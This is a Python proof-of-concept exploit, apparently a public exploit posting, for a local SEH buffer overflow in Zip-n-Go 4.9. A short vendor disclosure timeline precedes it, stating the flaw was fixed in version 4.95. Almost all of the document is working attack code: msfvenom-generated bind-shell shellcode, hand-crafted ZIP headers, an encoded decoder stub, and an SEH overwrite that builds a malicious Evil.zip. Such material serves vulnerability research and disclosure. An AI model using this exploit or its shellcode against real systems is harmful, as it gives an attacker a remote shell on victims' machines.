Zip-N-Go 4.9 Local Buffer Overflow

`#!/usr/bin/python  
#----------------------------------------------------------------------------------------------------------#  
# Exploit Title : Zip-n-Go v4.9 - Local Buffer Overflow (SEH) #  
# Exploit Author : Hashim Jawad - @ihack4falafel #  
# Vendor Homepage : http://mc1soft.com/index.shtml #  
# Vulnerable Software: http://mc1soft.com/files/zip-n-go49old.exe #  
# Tested on : Windows 7 Enterprise - SP1 (x86) #  
#----------------------------------------------------------------------------------------------------------#  
  
# Disclosure Timeline:  
# ====================  
# 05-28-18: Contacted vendor, no response   
# 05-30-18: Contacted vendor again, responded with patch and requested further testing  
# 05-30-18: Patch did not seem to fix the problem and alternative approach were suggested  
# 05-31-18: Vendor applied new patch and requested further testing  
# 05-31-18: The new patch nullified the vulnerability  
# 06-03-18: Version 4.95 was released   
# 06-03-18: Proof of concept exploit published  
  
#root@kali:~# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d' -e x86/alpha_mixed BufferRegister=EAX -f python -v shellcode  
#Payload size: 710 bytes  
shellcode = ""  
shellcode += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"  
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"  
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"  
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"  
shellcode += "\x42\x75\x4a\x49\x39\x6c\x5a\x48\x6e\x62\x43\x30"  
shellcode += "\x45\x50\x73\x30\x61\x70\x6d\x59\x7a\x45\x46\x51"  
shellcode += "\x39\x50\x72\x44\x4e\x6b\x52\x70\x30\x30\x6c\x4b"  
shellcode += "\x52\x72\x56\x6c\x6c\x4b\x73\x62\x37\x64\x4c\x4b"  
shellcode += "\x32\x52\x51\x38\x54\x4f\x6f\x47\x31\x5a\x61\x36"  
shellcode += "\x50\x31\x79\x6f\x4c\x6c\x35\x6c\x31\x71\x51\x6c"  
shellcode += "\x47\x72\x46\x4c\x71\x30\x59\x51\x5a\x6f\x44\x4d"  
shellcode += "\x56\x61\x6b\x77\x38\x62\x69\x62\x72\x72\x43\x67"  
shellcode += "\x6e\x6b\x43\x62\x32\x30\x6c\x4b\x33\x7a\x55\x6c"  
shellcode += "\x6c\x4b\x32\x6c\x34\x51\x34\x38\x6d\x33\x37\x38"  
shellcode += "\x57\x71\x4a\x71\x66\x31\x6c\x4b\x42\x79\x51\x30"  
shellcode += "\x65\x51\x59\x43\x4c\x4b\x52\x69\x45\x48\x6b\x53"  
shellcode += "\x77\x4a\x47\x39\x4e\x6b\x76\x54\x4e\x6b\x46\x61"  
shellcode += "\x58\x56\x36\x51\x59\x6f\x6e\x4c\x49\x51\x4a\x6f"  
shellcode += "\x76\x6d\x35\x51\x68\x47\x57\x48\x49\x70\x62\x55"  
shellcode += "\x48\x76\x56\x63\x31\x6d\x4a\x58\x55\x6b\x73\x4d"  
shellcode += "\x35\x74\x33\x45\x4b\x54\x52\x78\x6c\x4b\x46\x38"  
shellcode += "\x51\x34\x56\x61\x59\x43\x33\x56\x6c\x4b\x76\x6c"  
shellcode += "\x50\x4b\x4e\x6b\x46\x38\x75\x4c\x67\x71\x68\x53"  
shellcode += "\x6c\x4b\x34\x44\x4e\x6b\x47\x71\x78\x50\x4b\x39"  
shellcode += "\x47\x34\x57\x54\x55\x74\x33\x6b\x33\x6b\x55\x31"  
shellcode += "\x31\x49\x50\x5a\x42\x71\x4b\x4f\x4b\x50\x31\x4f"  
shellcode += "\x31\x4f\x72\x7a\x4c\x4b\x54\x52\x6a\x4b\x6c\x4d"  
shellcode += "\x31\x4d\x62\x48\x46\x53\x50\x32\x77\x70\x43\x30"  
shellcode += "\x72\x48\x70\x77\x30\x73\x35\x62\x43\x6f\x50\x54"  
shellcode += "\x70\x68\x72\x6c\x71\x67\x67\x56\x47\x77\x49\x6f"  
shellcode += "\x68\x55\x6e\x58\x4c\x50\x43\x31\x45\x50\x53\x30"  
shellcode += "\x46\x49\x78\x44\x33\x64\x62\x70\x50\x68\x76\x49"  
shellcode += "\x4f\x70\x42\x4b\x43\x30\x69\x6f\x69\x45\x73\x5a"  
shellcode += "\x67\x78\x31\x49\x42\x70\x6a\x42\x59\x6d\x71\x50"  
shellcode += "\x32\x70\x73\x70\x36\x30\x70\x68\x78\x6a\x36\x6f"  
shellcode += "\x69\x4f\x6d\x30\x6b\x4f\x69\x45\x4f\x67\x63\x58"  
shellcode += "\x47\x72\x47\x70\x36\x71\x31\x4c\x6c\x49\x59\x76"  
shellcode += "\x70\x6a\x74\x50\x31\x46\x61\x47\x45\x38\x4f\x32"  
shellcode += "\x69\x4b\x54\x77\x35\x37\x79\x6f\x6a\x75\x66\x37"  
shellcode += "\x51\x78\x4d\x67\x39\x79\x37\x48\x59\x6f\x39\x6f"  
shellcode += "\x6a\x75\x62\x77\x61\x78\x43\x44\x68\x6c\x37\x4b"  
shellcode += "\x68\x61\x69\x6f\x4a\x75\x70\x57\x5a\x37\x52\x48"  
shellcode += "\x74\x35\x32\x4e\x52\x6d\x45\x31\x39\x6f\x4a\x75"  
shellcode += "\x71\x78\x71\x73\x30\x6d\x32\x44\x65\x50\x4f\x79"  
shellcode += "\x69\x73\x36\x37\x32\x77\x36\x37\x70\x31\x7a\x56"  
shellcode += "\x51\x7a\x56\x72\x53\x69\x36\x36\x7a\x42\x49\x6d"  
shellcode += "\x43\x56\x78\x47\x33\x74\x31\x34\x37\x4c\x67\x71"  
shellcode += "\x46\x61\x6e\x6d\x53\x74\x34\x64\x62\x30\x6a\x66"  
shellcode += "\x65\x50\x71\x54\x66\x34\x52\x70\x72\x76\x36\x36"  
shellcode += "\x32\x76\x31\x56\x70\x56\x30\x4e\x53\x66\x52\x76"  
shellcode += "\x31\x43\x32\x76\x52\x48\x64\x39\x38\x4c\x65\x6f"  
shellcode += "\x4f\x76\x49\x6f\x78\x55\x4b\x39\x49\x70\x50\x4e"  
shellcode += "\x53\x66\x31\x56\x79\x6f\x34\x70\x50\x68\x65\x58"  
shellcode += "\x4e\x67\x57\x6d\x63\x50\x79\x6f\x38\x55\x4d\x6b"  
shellcode += "\x68\x70\x78\x35\x6d\x72\x62\x76\x72\x48\x6d\x76"  
shellcode += "\x4d\x45\x6f\x4d\x4f\x6d\x39\x6f\x4b\x65\x37\x4c"  
shellcode += "\x77\x76\x71\x6c\x46\x6a\x6f\x70\x39\x6b\x4d\x30"  
shellcode += "\x74\x35\x33\x35\x6f\x4b\x61\x57\x77\x63\x52\x52"  
shellcode += "\x50\x6f\x32\x4a\x73\x30\x32\x73\x6b\x4f\x78\x55"  
shellcode += "\x41\x41"  
  
####################### ZIP File Structure ########################   
###################################################################  
######################## Local File Header ########################  
LocalFileHeader = '\x50\x4b\x03\x04' # local file header signature  
LocalFileHeader += '\x14\x00' # version needed to extract 0x14 = 20 -> 2.0  
LocalFileHeader += '\x00\x00' # general purpose bit flag  
LocalFileHeader += '\x00\x00' # compression method  
LocalFileHeader += '\xb7\xac' # file last modification time 0xacb7 -> H=21 M=37 S=23 -> 21:37:23  
LocalFileHeader += '\xce\x34' # file last modification date 0x34ce -> D=3 M=6 Y=2006 -> 2006/6/3  
LocalFileHeader += '\x00\x00\x00' # CRC-32 '\x00' was left out to make sure we hit 25 bytes before file length  
LocalFileHeader += '\x00\x00\x00\x00' # compressed size  
LocalFileHeader += '\x00\x00\x00\x00' # uncompressed size  
LocalFileHeader += '\xe4\x0f' # file name length 0x0fe4 = 4068 bytes   
LocalFileHeader += '\x00\x00' # extra field length  
LocalFileHeader += '\x00' # file name  
#LocalFileHeader += '\x00' # extra filed   
################## Central Directory File Header ##################  
CDFileHeader = '\x50\x4b\x01\x02' # cd file header signature   
CDFileHeader += '\x14\x00' # version made by 0x14 = 20 -> 2.0  
CDFileHeader += '\x14\x00' # version needed to extract 0x14 = 20 -> 2.0  
CDFileHeader += '\x00\x00' # general purpose bit flag  
CDFileHeader += '\x00\x00' # compression method   
CDFileHeader += '\xb7\xac' # file last modification time 0xacb7 -> H=21 M=37 S=23 -> 21:37:23  
CDFileHeader += '\xce\x34' # file last modification date 0x34ce -> D=3 M=6 Y=2006 -> 2006/6/3  
CDFileHeader += '\x00\x00\x00\x00' # CRC-32  
CDFileHeader += '\x00\x00\x00\x00' # compressed size  
CDFileHeader += '\x00\x00\x00\x00' # uncompressed size  
CDFileHeader += '\xe4\x0f' # file name length 0x0fe4 = 4068 bytes  
CDFileHeader += '\x00\x00' # extra field length  
CDFileHeader += '\x00\x00' # file comment length   
CDFileHeader += '\x00\x00' # disk number where file starts  
CDFileHeader += '\x01\x00' # internal file attributes BIT 0: apparent ASCII/text file  
CDFileHeader += '\x24\x00\x00\x00' # external file attributes   
CDFileHeader += '\x00\x00\x00\x00' # relative offset of local file header  
#CDFileHeader += '\x00' # file name  
#CDFileHeader += '\x00' # extra field   
#CDFileHeader += '\x00' # file comment   
################ End of Central Directory Record ##################  
EOCDRHeader = '\x50\x4b\x05\x06' # End of central directory signature  
EOCDRHeader += '\x00\x00' # number of this disk   
EOCDRHeader += '\x00\x00' # disk where central directory starts   
EOCDRHeader += '\x01\x00' # number of central directory records on this disk   
EOCDRHeader += '\x01\x00' # total number of central directory records   
EOCDRHeader += '\x12\x10\x00\x00' # size of central directory 0x1012 = 4114 bytes  
EOCDRHeader += '\x02\x10\x00\x00' # offset of start of central directory, relative to start of archive   
EOCDRHeader += '\x00\x00' # comment length   
#EOCDRHeader += '\x00' # comment   
  
Witchcraft = '\x54' # PUSH ESP * save stack pointer  
Witchcraft += '\x5F' # POP EDI  
Witchcraft += '\x54' # PUSH ESP * calculate offset for decoder   
Witchcraft += '\x58' # POP EAX  
Witchcraft += '\x05\x11\x21\x11\x11' # ADD EAX,11112111  
Witchcraft += '\x05\x11\x21\x11\x11' # ADD EAX,11112111  
Witchcraft += '\x2D\x53\x25\x22\x22' # SUB EAX,22222553  
Witchcraft += '\x50' # PUSH EAX  
Witchcraft += '\x5C' # POP ESP  
  
#https://github.com/ihack4falafel/Slink  
#root@kali:/opt/Slink# python Slink.py * decode the following 'nop;mov esp, edi;mov eax, edi;add eax, 58c;jmp eax'  
#Enter your shellcode: 9089FC89F8058C050000FFE0  
#[+] Shellcode size is divisible by 4  
#[+] Encoding [e0ff0000]..  
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..  
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and eax, 0x554e4d4a  
Witchcraft += "\x25\x35\x32\x31\x2A" ## and eax, 0x2a313235  
Witchcraft += "\x05\x11\x11\x77\x61" ## add eax, 0x61771111  
Witchcraft += "\x05\x11\x11\x66\x51" ## add eax, 0x51661111  
Witchcraft += "\x05\x11\x11\x55\x61" ## add eax, 0x61551111  
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub eax, 0x33333333  
Witchcraft += "\x50" ## push eax  
#[+] Encoding [058c05f8]..  
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..  
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and eax, 0x554e4d4a  
Witchcraft += "\x25\x35\x32\x31\x2A" ## and eax, 0x2a313235  
Witchcraft += "\x05\x74\x13\x46\x13" ## add eax, 0x13461374  
Witchcraft += "\x05\x64\x13\x45\x13" ## add eax, 0x13451364  
Witchcraft += "\x05\x53\x12\x34\x12" ## add eax, 0x12341253  
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub eax, 0x33333333  
Witchcraft += "\x50" ## push eax  
#[+] Encoding [89fc8990]..  
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..  
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and eax, 0x554e4d4a  
Witchcraft += "\x25\x35\x32\x31\x2A" ## and eax, 0x2a313235  
Witchcraft += "\x05\x41\x44\x76\x44" ## add eax, 0x44764441  
Witchcraft += "\x05\x41\x44\x65\x44" ## add eax, 0x44654441  
Witchcraft += "\x05\x41\x34\x54\x34" ## add eax, 0x34543441  
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub eax, 0x33333333  
Witchcraft += "\x50" ## push eax  
  
Evil = '\x41' * 3066 # offset to shellcode   
Evil += shellcode # bind shell   
Evil += '\x43' * (716-len(shellcode)) # shellcode host  
Evil += Witchcraft # magic!   
Evil += '\x42' * (126-len(Witchcraft)) # witchcraft host  
Evil += '\x74\x80\x75\x80' # nSEH - short jump backward (jump net)  
Evil += '\x6e\x4c\x40\x00' # SEH - pop ecx, pop ebp, retn in zip-n-go.exe   
Evil += '\x41' * (4064-3908-4-4)  
Evil += '.txt'  
  
buffer = LocalFileHeader  
buffer += Evil  
buffer += CDFileHeader  
buffer += Evil  
buffer += EOCDRHeader   
  
try:  
f=open("Evil.zip","w")  
print "[+] Creating %s bytes evil payload.." %len(Evil)  
f.write(buffer)  
f.close()  
print "[+] File created!"  
except Exception as e:  
print e  
  
`